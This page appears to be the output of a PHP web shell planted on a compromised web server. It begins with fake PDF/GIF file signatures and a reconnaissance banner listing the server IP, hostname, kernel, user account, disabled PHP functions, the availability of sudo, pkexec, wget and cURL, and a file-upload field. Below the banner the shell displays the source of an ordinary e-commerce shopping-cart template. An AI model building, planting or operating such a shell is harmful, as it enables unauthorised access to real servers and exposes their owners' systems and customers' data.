%PDF-1.7 GIF89;
Server IP : 5.161.254.237 / Your IP : 216.73.216.30 Web Server : Apache System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64 User : stellasp ( 1131) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/stellasp/public_html/application/themes/default/views/ |
Upload File : |
<?php include('header.php');?> <?php if ($this->session->flashdata('message')) { echo '<div class="gmessage">'.$this->session->flashdata('message').'</div>'; } if ($this->session->flashdata('error')) { echo '<div class="error">'.$this->session->flashdata('error').'</div>'; } if (!empty($error)) { echo '<div class="error">'.$error.'</div>'; } ?> <script type="text/javascript"> if (top.location != location) { top.location.href = document.location.href; } </script> <?php if ($this->go_cart->total_items()==0):?> <div style="margin: 0 auto; text-align: center; font-family: 'Times New Roman',Times,serif; font-size: 30px; font-style: italic; color: #111; font-weight: 400; padding-top: 12%; padding-bottom: 12%;">Your shopping cart is empty.</div> <?php else: ?> <?php echo form_open('cart/update_cart', array('id'=>'update_cart_form'));?> <section class="add-basket-main-wraper"> <div class="container"> <div class="row"> <div class="col-md-9"> <div class="add-basket-contents clearfix"> <?php $subtotal = 0; foreach ($this->go_cart->contents() as $cartkey=>$product):?> <div class="basket-contents clearfix"> <span class="closebtn"><a href="<?php echo site_url('cart/remove_item/'.$cartkey);?>"><img src="<?php echo base_url('gocart/themes/'.$this->config->item('theme').'/images/delete.png');?>" alt=""></a></span> <div class="col-md-3 col-sm-5"> <?php $primary = ''; $photo_url ="<?php echo base_url('images/nopicture.png'); ?>"; $photo_file=""; $product_images = array_values((array)json_decode($product["images"])); foreach ($product_images as $photos) { if(isset($photos->primary)) { $photo_file = $photos->filename; } } $photo_url = base_url('uploads/images/medium/'.$product["product_color"]); ?> <img src="<?=$photo_url?>" alt="" class="img-responsive" /> </div> <div class="col-md-8 col-sm-9"> <div class="basket-detial"> <h4><?php echo $product['name']; ?></h4> <div class="basket-price" style="width:200px;"> <strong>Price: <?php echo format_currency($product['base_price']);?></strong> <?php if(!(bool)$product['fixed_quantity']):?> <input type="text" style="width:65px; float:left;" name="cartkey[<?php echo $cartkey;?>]" value="<?php echo $product['quantity'] ?>" size="3" class="form-control"/> <input style="width:100px; float:left; height: 35px;margin-left: 10px;" type="submit" value="<?php echo lang('form_update_cart');?>"/> <?php else:?> <?php /// echo $product['quantity'] ?> <input type="hidden" name="cartkey[<?php echo $cartkey;?>]" value="1"/> <?php endif;?> <br/><br/><br/> <strong><?php echo format_currency($product['price']*$product['quantity']); ?></strong> </div> <p>SKU: <?php echo $product['sku'];?></p> <?php echo $product['excerpt']; if(isset($product['options'])) { foreach ($product['options'] as $name=>$value) { if(is_array($value)) { echo '<p>'.$name.':<br/>'; foreach($value as $item) echo '- '.$item.'<br/>'; echo '</p>'; } else { echo '<div>'.$name.': '.$value.'</div>'; } } } ?> <p><a href="<?php echo base_url($product['slug']);?>">Edit</a></p> <p><a href="<?php echo site_url('cart/remove_item/'.$cartkey);?>">Remove Item</a></p> </div> </div> </div><!-- basket contents --> <?php endforeach; ?> </div> </div> <!-- col md 9 --> <div class="col-md-3"> <div class="basket-summary"> <h5>Summary</h5> <table class="table basket-summary-table"> <tbody> <?php if($this->go_cart->group_discount() > 0) : ?> <tr> <td colspan="3" style="padding-left:0px;border:1px solid green;"><?php echo lang('group_discount');?></td> <td></td> <td></td> <td><?php echo format_currency(0-$this->go_cart->group_discount()); ?></td> </tr> <?php endif; ?> <tr> <td colspan="3"><?php echo lang('subtotal');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->subtotal()); ?></td> </tr> <?php if($this->go_cart->coupon_discount() > 0) : ?> <tr> <td colspan="3"><?php echo lang('coupon_discount');?></td> <td></td> <td></td> <td><?php echo format_currency(0-$this->go_cart->coupon_discount()); ?></td> </tr> <?php if($this->go_cart->order_tax() != 0) : // Only show a discount subtotal if we still have taxes to add (to show what the tax is calculated from) ?> <tr> <td colspan="3"><?php echo lang('discounted_subtotal');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->discounted_subtotal()); ?> </td> </tr> <?php endif; endif; ?> <?php // Custom Charges $charges = $this->go_cart->get_custom_charges(); if(!empty($charges)) { foreach($charges as $name=>$price) : ?> <tr> <td colspan="3"><?php echo $name?></td> <td></td> <td></td> <td style="padding-left:0px;text-align: left;border:1px solid blue;"><?php echo format_currency($price); ?></td> </tr> <?php endforeach; } ?> <?php // Show shipping cost if added before taxes if($this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?> <tr> <td colspan="3"><?php echo lang('shipping');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->shipping_cost()); ?> </td> </tr> <?php endif ?> <?php // Show shipping cost if added before taxes if($this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?> <tr> <td colspan="3"><?php echo lang('shipping');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->shipping_cost()); ?> </td> </tr> <?php endif ?> <?php if($this->go_cart->order_tax() != 0) : ?> <tr> <td colspan="3"><?php echo lang('taxes');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->order_tax()); ?> </td> </tr> <?php endif; ?> <?php // Show shipping cost if added after taxes if(!$this->config->item('tax_shipping') && $this->go_cart->shipping_cost()>0) : ?> <tr> <td colspan="3"><?php echo lang('shipping');?></td> <td></td> <td></td> <td><?php echo format_currency($this->go_cart->shipping_cost()); ?> </td> </tr> <?php endif ?> <?php if($this->go_cart->gift_card_discount() != 0) : ?> <tr> <td colspan="6"><?php echo lang('gift_card_discount');?></td> <td></td> <td></td> <td><?php echo format_currency(0-$this->go_cart->gift_card_discount()); ?> </td> </tr> <?php endif; ?> </tbody> </table> <div class="clearfix"></div> <div class="total"> <p class="text-center" style="display:none;">You qualify for free ground Shipping (excludes custom and gift crds)</p> <span>Total</span> <strong><?php echo format_currency($this->go_cart->total()); ?> </strong> <span style="display:none;">Do You HAVE A Pro,o Code?</span> </div> <div class="enter-code" style="display:none;"> <input type="text" name="coupon_code" id="" class="codefield" placeholder="Enter Code" /> <button class="btn code-APPLY" type="submit">APPLY</button> </div> <div class="enter-code"> <?php if($gift_cards_enabled):?> <?php echo lang('gift_card_label');?> <br/> <input type="text" name="gc_code" class="codefield" placeholder="Enter Code"> <input type="submit" value="<?php echo lang('apply_gift_card');?>" class="btn code-APPLY" /> <?php endif;?> </div> <div class="process-checkout"> <?php if ($this->Customer_model->is_logged_in(false,false)){ ?> <button class="btn btnprocess-checkout" type="submit" onclick="$('#redirect_path').val('checkout');"> Proceed to Check-Out <i class="fa fa-angle-double-right"></i> </button> <?php } else { ?> <button class="btn btnprocess-checkout" type="submit" onclick="$('#redirect_path').val('checkout/login');"> Proceed to Check-Out <i class="fa fa-angle-double-right"></i> </button> <?php } ?> <input id="redirect_path" type="hidden" name="redirect" value=""/> <?php if(!$this->Customer_model->is_logged_in(false,false)): ?> <input class="btn btnprocess-checkout" type="submit" onclick="$('#redirect_path').val('checkout/login');" value="Login"/> <input class="btn btnprocess-checkout" type="submit" onclick="$('#redirect_path').val('checkout/register');" value="Register"/> <?php endif; ?> </div> </div> </div> </div> <!-- row --> </div> </section> </form> <?php endif; ?> <script type="text/javascript"> $('.buttonset').buttonset(); </script> <?php include('footer.php'); ?>